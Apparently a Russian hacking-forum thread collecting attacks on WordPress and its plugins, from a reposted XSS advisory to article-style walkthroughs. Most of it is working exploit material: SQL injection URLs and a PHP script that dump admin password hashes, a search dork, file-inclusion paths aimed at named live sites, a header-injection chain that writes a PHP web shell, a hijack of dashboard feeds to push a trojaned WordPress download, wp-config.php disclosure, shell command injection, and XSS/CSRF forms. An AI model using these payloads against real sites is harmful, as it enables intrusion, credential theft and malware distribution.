Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода
Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки. Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах) SQL inj && Code exec && LFI && RFI = is_our_way
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability I. VULNERABILITY ------------------------- WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability II. BACKGROUND ------------------------- WordPress MU, or multi-user, allows to run unlimited blogs with a single install of wordpress. It is most famously used for WordPress.com where it serves tens of millions of hits on hundreds of thousands of blogs each day. Also is used in many other sites like Harvard University and Le Monde. III. DESCRIPTION ------------------------- WordPress MU prior to version 2.7 fails to sanitize the Host header correctly in choose_primary_blog function and is therefore prune to XSS attacks. Web Sites running in a name based virtual hosting setup are not affected while they are not the default virtual host. IV. PROOF OF CONCEPT ------------------------- The snippet of vulnerable code: In wp-includes/wpmu-functions.php, concretly in the function choose_primary_blog: 1830 function choose_primary_blog() { 1831 global $current_user; 1832 ?> 1833 <table class="form-table"> 1834 <tr> 1835 <th scope="row"><?php _e('Primary Blog'); ?></th> 1836 <td> 1837 <?php 1838 $all_blogs = get_blogs_of_user( $current_user->ID ); 1839 if( count( $all_blogs ) > 1 ) { 1840 $primary_blog = get_usermeta($current_user->ID, 'primary_blog'); 1841 ?> 1842 <select name="primary_blog"> 1843 <?php foreach( (array) $all_blogs as $blog ) { ?> 1844 <option value='<?php echo $blog->userblog_id ?>'<?php if( $primary_blog == $blog->userblog_id ) echo ' selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path ?></option> 1845 <?php } ?> 1846 </select> 1847 <?php 1848 } else { 1849 echo $_SERVER['HTTP_HOST']; <- HERE 1850 } 1851 ?> 1852 </td> 1853 </tr> 1854 </table> 1855 <?php 1856 } The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];" and is possible to inject HTML and script code crafting HTTP Host header: PoC: $ curl -H "Cookie: my cookies here" -H "Host: <body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.com/wp-admin/profile.php> tmp.html $ firefox tmp.html The javascript code will be executed in the context of the victim browser, this can be exploited to steal cookies and escalate privileges to administrator. Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6 V. BUSINESS IMPACT ------------------------- The impact is the attacker can gain administrator privileges on the application. VI. SYSTEMS AFFECTED ------------------------- Versions prior to 2.7 are affected VII. SOLUTION ------------------------- Upgrade to version 2.7 of wordpress multi-user. It can be downloaded from http://mu.wordpress.org VIII. REFERENCES ------------------------- http://mu.wordpress.org IX. CREDITS ------------------------- This vulnerability has been discovered by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com). X. REVISION HISTORY ------------------------- December 03, 2008: Initial release March 02, 2009: More details added XI. DISCLOSURE TIMELINE ------------------------- December 03, 2008: Vendor contacted December 03, 2008: MU trunk code fixed January 28, 2008: WordPress MU 2.7 released March 10, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com) XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information. #http://milw0rm.com/exploits/8196
Wordpress Plugin fMoblog Remote SQL Injection Vulnerability Code: Exploit: http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users-- Dork: inurl:"Gallery powered by fMoblog" http://www.milw0rm.com/exploits/8229
Честно сказать нашёл случайно в нете и оч удивился что нигде не описания wp-lytebox http://grupenet.com/2007/08/03/wp-lytebox/ PHP: if(!isset($pg)) { include("pages/main.txt"); } elseif(isset($pg)) { include("pages/".$pg.".txt"); } Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00 http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей} Кстати /etc/passwd не инклудится вообще)
Для коллекции.. Target: Simpleress Forum v3.1.3 [WP: v2.04 and above] Off.page: www.stuff.yellowswordfish.com/simplepress-forum} Xss: site.xxx/forum/?forum=all&value=<script>alert(document.cookie)</script>%251&search=1
WordPress Comments Html Spam Vulnerability Итак, начинаю постить найденные мной уязвимости WordPress, опубликованные в Хакере. ---- 1. WordPress Comments Html Spam Vulnerability (1.5<=WordPress<=2.7.1) Итак, перед тобой первая неопубликованная уязвимость, которую я назвал "WordPress Comments Html Spam Vulnerability". Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1. Давай заглянем в исходники ВордПресса. Открывай файл ./wp-includes/comment.php и находи следующий код: Code: function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) { ... if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll $uri = parse_url($url); $domain = $uri['host']; $uri = parse_url( get_option('home') ); $home_domain = $uri['host']; if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain ) return true; else return false; } ... } Смысл этого кода состоит в том, что: 1. Блог смотрит на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, ищи в моей прошлогодней статье "Спамом по вебу"); 2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true; 3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом, нет - должен пройти премодерацию. В этом занимательном коде есть один тонкий нюанс: разработчики WordPress просто-напросто не знают, как работает функция parse_url. Цитата с http://www.php.net/parse_url: "This function is not meant to validate the given URL". Эти слова подразумевают то, что parse_url() элементарно не проверяет валидность переданного адреса! То есть мы можем передать в нее что-то вроде "http://%/suck_wordpress", в результате чего переменная $uri['host'] станет равной "%". Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид: Code: "SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1" Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным Но и это еще не все! Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию: Code: function wp_html_excerpt( $str, $count ) { $str = strip_tags( $str ); $str = mb_strcut( $str, 0, $count ); // remove part of an entity at the end $str = preg_replace( '/&[^;\s]{0,6}$/', '', $str ); return $str; } Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли здесь несколько нюансов: 1. strip_tags() успешно пропускает через себя теги вроде "< br / >" (то есть содержащие в себе пробелы); 2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы. И вот, исходя из этой информации, можно придумать конечный эксплойт: Code: <html> <form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post"> Тайтл: <input name="title" value="commenter"/><br/> URL:<input name="url" value="http://%/la.com"/><br/> Comment:<input name="excerpt" value=""/><br/> <input name="blog_name" value="Blog" /><br/> <input type="submit" value="ok"/> </form> </html> Где в поле "Comment" вставляем: Code: < b >< a href="http"//ya.ru">Купить слона< / a >< / b > В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирным ссылкой "Купить слона". Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.
Подмена RSS-фидов в Dashboard 2. Подмена RSS-фидов в Dashboard (2.5<=WordPress<=2.6.5) В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога. Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости "Планеты WordPress". Начиная с версии 2.5, к каждому фиду прикреплена кнопочка "Edit", что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов). Теперь смотри: скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте, естественно, в ссылке на скачку укажи свой протрояненный дистрибутив вордпресса. Затем положи свой подготовленный фид на какой-нибудь сервер и используй следующий html-код для подмены рсс-ленты девблога на свою: Code: <form action="http://lamer.com/wp265/wp-admin/" method="post"> <input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" /> <input name="widget-rss[1][title]" type="text" value="Заголовок рсс" /> <input name="widget-rss[1][items]" value="сколько показывать постов в рсс" /> <input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/> <input name="widget-rss[1][show_author]" type="checkbox" value="1" /> <input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> <input type="hidden" name="widget-rss[1][submit]" value="1" /> <input type='hidden' name='sidebar' value='wp_dashboard' /> <input type='hidden' name='widget_id' value='dashboard_primary' /> <input type='submit' value='Save' /> </form> В итоге, ты увидишь на главной странице админки блога свой evil-rss Ах, да, для использования этой уязвимости необходимы следующие условия: 1. Открытая регистрация на блоге; 2. Версии движка от 2.5 до 2.6.5 включительно.
WordPress Snoopy Remote Code Execution 3. WordPress Snoopy Remote Code Execution (2.6.3<=WordPress<=2.6.5) Теперь настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог Итак, если ты читал мою статью за январь сего года, то должен знать об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3. Я догадываюсь, чем они думали, смотря на пост девблога с такими словами: А также при сравнении кода Snoopy из WordPress <= 2.6.2: Code: exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return); с кодом Snoopy из WordPress <= 2.6.5: Code: exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return); Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем. Тем не менее, такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку 1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php; 2. Скрипт code-exec.php должен содержать следующий код: Code: <?php header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka'); header("Location: https://chto-ugodno.com/?feed=rss2"); ?> После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл Теперь давай разберем, где и почему это работает. 1. Это работает только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов; 2. Это работает только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php плюс бинарник курла проверяется на существование и исполняемость: Code: if(!$this->curl_path) return false; if(function_exists("is_executable")) if (!is_executable($this->curl_path)) return false; 3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту), во время которой он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. А, как мы можем понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался 4. Это работает не только в кукисах, но и во многих других заголовках, например, мы сможем передать произвольный код в заголовке HOST следующим образом: Code: <?php header("Location: https://lal`my evil command`.com"); ?>
Pingback SQL injection 4. Pingback SQL Injection (2.x<=WordPress<=2.5.1) Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз-таки не технологии Pingback и Trackback. Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2(!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и правами author/editor (WordPress MU also affected). Итак, для наглядности возьмем подопытный движок за номером 2.3.3. Открывай ./wp-includes/post.php и находи в нем такой код: Code: function add_ping($post_id, $uri) { // Add a URL to those already pung global $wpdb; $pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id"); $pung = trim($pung); $pung = preg_split('/\s/', $pung); $pung[] = $uri; $new = implode("\n", $pung); $new = apply_filters('add_ping', $new); return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id"); } Небольшие раскопки дают понять, что фильтра "add_ping" не существует в коде движка. Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации! А теперь о способе эксплуатации данной уязвимости. Запасись терпением Чтобы использовать баг, тебе необходимо две инсталляции ВордПресса: 1. Все равно какой версии. Создай новый пост с любым тайтлом и с содержимым: Code: <a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a> Запомни адрес созданного поста (пусть, например, он будет http://lamer/wp1/?p=2) 2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле "Send trackbacks to:" пиши: Code: test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah Теперь сохраняй пост. Снова заходи в редактирование этого поста, но теперь редактируй само его содержимое и вставляй туда ссылку в html-формате на пост из первого блога Code: <a href="http://lamer/wp1/?p=2">pingme</a> Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа
Trackback SQL injection 5. Trackback SQL Injection (2.x<=WordPress<=2.5.1?) Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно Открывай файл ./wp-includes/comment.php и находи в нем такой код: Code: function do_trackbacks($post_id) { ... $to_ping = get_to_ping($post_id); ... if ( $to_ping ) { foreach ( (array) $to_ping as $tb_ping ) { $tb_ping = trim($tb_ping); if ( !in_array($tb_ping, $pinged) ) { trackback($tb_ping, $post_title, $excerpt, $post_id); $pinged[] = $tb_ping; } else { $wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'"); } } } } Здесь снова наблюдаем такую же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации. Использовать эту SQL-инъекцию очень просто: 1. Создавай новый пост, в "Send trackbacks to:" вставляй следующее: Code: test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah 2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда же тот же самый код; 3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа
get_bookmarks SQL injection 6. get_bookmarks SQL Injection (2.x<=WordPress<=2.7.1 #в последних версиях уязвимые функции без изменений, но "injection point" link-manager.php залатан от описанного способа#) Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права "manage_links". Для теста снова возьмем WordPress 2.3.3. Итак, открывай ./wp-admin/link-manager.php, в этом файле присутствует следующий код: Code: get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" ); Начиная от этого кода, попробуем провести небольшой реверсинг: ./wp-includes/bookmark.php Code: function get_bookmarks($args = '') { ... $r = wp_parse_args( $args, $defaults ); extract( $r, EXTR_SKIP ); ... if ( ! empty($category_name) ) { if ( $category = get_term_by('name', $category_name, 'link_category') ) $category = $category->term_id; } ... ./wp-includes/formatting.php Code: function wp_parse_args( $args, $defaults = '' ) { if ( is_object($args) ) $r = get_object_vars($args); else if ( is_array( $args ) ) $r =& $args; else wp_parse_str( $args, $r ); if ( is_array( $defaults ) ) return array_merge( $defaults, $r ); else return $r; } function wp_parse_str( $string, &$array ) { parse_str( $string, $array ); if ( get_magic_quotes_gpc() ) $array = stripslashes_deep( $array ); $array = apply_filters( 'wp_parse_str', $array ); } ./wp-includes/taxonomy.php Code: function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') { ... } else if ( 'name' == $field ) { // Assume already escaped $field = 't.name'; ... $term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1"); На этот раз разработчики WordPress не учли, что: 1. Функция parse_str проводит свои параметры через urldecode, так что какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes); 2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode). Отсюда, как логичный вывод, следует blind sql-инъекция: Code: http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527+union+select+1,2,3,4,5,6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB Здесь такие условия: а) 1=1 - ничего не отображается; б) 1=2 - отображается список ссылок блога.
Подмена slug в пермалинке любого поста 7. Подмена slug в пермалинке любого поста (1.5<=WordPress<=2.7.1) Итак, представь, что на нужном нам блоге присутствует пост с адресом http://lamer/wp233/2009/03/20/hello-world/. Ты хочешь насолить/подшутить над админом и сделать так, чтобы этот пост имел еще и адрес вроде http://lamer/wp233/2009/03/20/this-is-a-sucker-post/. Разработчики вордпресса с радостью предоставляют тебе такую возможность! Но вот что это: баг или фича, я не знаю Для начала давай детально разберем механизм постинга комментария в последней на момент написания статьи версии 2.7.1. 1. Файлик wp-comments-post.php (а также wp-trackback.php), через который проходят все комментарии имеет в себе следующий код: Code: $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID'); $comment_id = wp_new_comment( $commentdata ); 2. Эту функцию мы можем легко отыскать в ./wp-includes/comment.php: Code: function wp_new_comment( $commentdata ) { ... $comment_ID = wp_insert_comment($commentdata); ... } 3. Там же проводим небольшой реверсинг: Code: function wp_insert_comment($commentdata) { ... if ( $comment_approved == 1) wp_update_comment_count($comment_post_ID); return $id; } function wp_update_comment_count($post_id, $do_deferred=false) { ... elseif ( $post_id ) { return wp_update_comment_count_now($post_id); } } function wp_update_comment_count_now($post_id) { ... do_action('edit_post', $post_id, $post); return true; } 4. Action edit_post определен в ./wp-includes/default-filters.php Code: add_action('edit_post', 'wp_check_for_changed_slugs'); 5. Находим нужную нам функцию в ./wp-includes/post.php Code: function wp_check_for_changed_slugs($post_id) { if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) ) ... // if we haven't added this old slug before, add it now if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) ) add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']); ... } 6. И, собственно, зачем весь этот код нам был нужен, ./wp-includes/query.php: Code: function wp_old_slug_redirect () { ... $query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'"; ... wp_redirect($link, '301'); // Permanent redirect exit; endif; } Из анализа вышеприведенного кода следует вывод: если в бд для определенного поста присутствует значение "_wp_old_slug", то по этому самому значению проводится редирект на настоящий адрес поста. Чтобы добавить это значение, твой комментарий должен быть зааппрувлен. Как оставлять комментарии без проверки модератора, ты уже знаешь по первой части статьи Теперь, наконец-то, готовый эксплойт для нашей шутки: Code: <html> <form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post"> Тайтл: <input name="title" value="commenter"/><br/> URL:<input name="url" value="http://%/la.com"/><br/> Comment:<input name="excerpt" value=""/><br/> Slug:<input name="wp-old-slug" value=""/><br/> <input name="blog_name" value="Blog" /><br/> <input type="submit" value="ok"/> </form> </html> В поле "Slug" вставляй новое имя для подходящего поста и показывай ссылку админу, наблюдая за его реакцией
wp-app sql injection 9. wp-app sql injection (2.2<=WordPress<=2.2.3) Ну и на закуску, пропущенная всеми древняя уязвимость от Alexander Concha (зато уязвимая функция и сейчас присутствует в вордпрессе без изменений 1. ./wp-includes/atomlib.php Code: function xml_escape($string) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $string ); } 2. Эксплойт с правами edit_posts Code: <?php $site='lamer.com'; $path='/wp223/wp-app.php?action=/post/1'; //тут айди поста $user='editor'; //логин на блоге $passwd='editor'; //пароль на блоге $auth=base64_encode($user.":".$passwd); $fp = fsockopen($site, 80, $errno, $errstr, 30); $data='<feed> <entry> <id>http://lamer.com/wp223/2009/03/01/hello-world/</id> <title type="html">test\</title> <summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary> </entry> </feed>'; $out = "PUT $path HTTP/1.1\r\n"; $out .= "Host: $site\r\n"; $out .= "Content-Type: application/atom+xml\r\n"; $out .= "Connection: Close\r\n"; $out .= "User-Agent: Opera\r\n"; $out .= "Authorization: Basic $auth\r\n"; $out .= "Content-Length: ".strlen($data)."\r\n\r\n"; fwrite($fp, $out.$data); fclose($fp); ?>
WordPress curl information disclosure 8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1) Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7. Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy. Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1): 1. ./wp-includes/http.php Code: class WP_Http_Curl { function request($url, $args = array()) { if ( !ini_get('safe_mode') && !ini_get('open_basedir') ) curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true ); Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа! Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл: Code: function wp_remote_get($url, $args = array()) { $objFetchSite = _wp_http_get_object(); return $objFetchSite->get($url, $args); } 2. Функция, приведенная выше, используется в ./wp-includes/functions.php: Code: function wp_remote_fopen( $uri ) { ... $response = wp_remote_get( $uri, $options ); ... } 3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc: Code: function pingback_ping($args) { ... $pagelinkedfrom = $args[0]; $pagelinkedto = $args[1]; ... // Let's check the remote site $linea = wp_remote_fopen( $pagelinkedfrom ); ... Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][. Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php. А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами: 1. ./ping1/index.php Code: <?php header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>"); header("Location: file:///c:\boot.ini", 302); ?> 2. ./ping2/index.php Code: <a href="http://lamer.com/ping1/?p=2">Ping2</a> В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php: Code: // Check if the page linked to is in our site $pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home'))); if( !$pos1 ) return new IXR_Error(0, __('Is there no link to us?')); В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки. Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc: Code: <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://lamer.com/ping1/?p=2</string></value></param> <param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param> </params> </methodCall> После отсылки пакета ты сможешь получить 2 ответа от сервера: 1. Если файл c:\boot.ini существует, то блог пришлет такой ответ 2. Если же такого файла нет, то жди такого ответа Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого: Содержимое c:\boot.ini остается где-то под катом Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача ---- З.Ы. Спасибо Elekt за то, что навел меня на эту уязвимость) З.З.Ы. На сегодняшний день в WordPress 2.7.1-2.8beta2, кроме описанных выше, есть еще, по крайней мере, 2 серьезнейшие 0day уязвимости)
Плагины Wordpress WPML Multilingual CMS Version: 1.0.0 Last Updated: 2009-6-9 Downloads: 9,424 XSS (PoC) Code: <div style="display:none;"> <form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm"> <input name="lang" type="text" value="<script>alert(document.cookie)</script>" /> <input type='submit'> </form> <iframe src="" name="ifr" width="1" height="1"></iframe> <script> document.xfrm.submit(); document.xfrm.lang.value="en"; setTimeout('document.xfrm.submit()', 1000); </script> </div> PHPINFO Code: http://wordpress/wp-content/plugins/sitepress-multilingual-cms/inc/php-version-check.php?icl_phpinfo=1 XSS (register_globals = On) Code: http://wordpress/wp-content/plugins/sitepress-multilingual-cms/menu/language-selector.php?w_this_lang[code]="><script>alert(document.cookie)</script> http://wordpress/wp-content/plugins/sitepress-multilingual-cms/modules/absolute-links/management-page.php?total_posts_pages="><script>alert(document.cookie)</script>
UnGallery Version: 0.8 Updated: 2009-6-11 Downloads: 226 Remote File Disclosure PHP: if ($_GET['pic']) { $filename = $_GET['pic']; $len = filesize($filename); $lastslash = strrpos($filename, "/"); $name = substr($filename, $lastslash + 1); header("Content-type: image/jpeg;\r\n"); header("Content-Length: $len;\r\n"); header("Content-Transfer-Encoding: binary;\r\n"); header('Content-Disposition: inline; filename="'.$name.'"'); // Render the photo inline. readfile($filename); } Code: $ curl http://wordpress/wp-content/plugins/ungallery/source.php?pic=../../../wp-config.php Shell Command Execution PHP: $dir = "wp-content/plugins/ungallery/pics/" . $_GET['zip']; // Create the arrays with the dir's image files $dp = opendir($dir); while ($filename = readdir($dp)) { if (!is_dir($dir."/pics/".$gallery. "/". $filename)) { // If it's a file, begin $pic_types = array("JPG", "jpg", "GIF", "gif", "PNG", "png"); if (in_array(substr($filename, -3), $pic_types)) $pic_array[] = $filename; // If it's a image, add it to pic array } } foreach ($pic_array as $filename) { $media_files = $media_files . " " . $dir . "/" . $filename; } $output = `zip -u -j $dir/pics.zip $media_files`; print "<pre>$output</pre>"; print 'Complete. The file can be downloaded <a href="./wp-content/plugins/ungallery/source.php?zip=pics/' . $_GET['zip'] . '/pics.zip">here</a>'; print '<br><br>You can return to the gallery <a href="./gallery?gallerylink=' . $_GET['zip'] .'">here.</a>'; Code: http://wordpress/wp-content/plugins/ungallery/zip.php?zip=non_existing_dir+non_existing_file;ls;pwd; ps: Тут же можно провернуть XSS
Mood Personalizer Version: 1.1 Last Updated: 2009-6-11 Downloads: 453 XSS/XSRF Code: <form action='http://wordpress/wp-admin/options-general.php?page=mood-personalizer/mood-personalizer.php' method='post' name="xfrm"> <input name="xMPPic" type="text" value='"><script>alert(document.cookie)</script>' /> <input name="xMPHidd" type="text" value='xMPHidd' /> <input type='submit'> </form> <script>document.xfrm.submit();</script> PHP: if($_POST['xMPHidd']=="xMPHidd"){ $xMPPicture = $_POST['xMPPic']; $xMPPictureSize = $_POST['xMPPictureSize']; $xMPPicture = str_replace(".2",".".$xMPPictureSize,$xMPPicture); update_option('xMPPic', $xMPPicture); } PHP: <img src="<?php bloginfo('url'); ?>/wp-content/plugins/mood-personalizer/images/<?php echo get_option('xMPPic');?>" alt="Mood Personalizer mood image"/> Если виджет вынесен на сайдбар, то получится активка на морде.
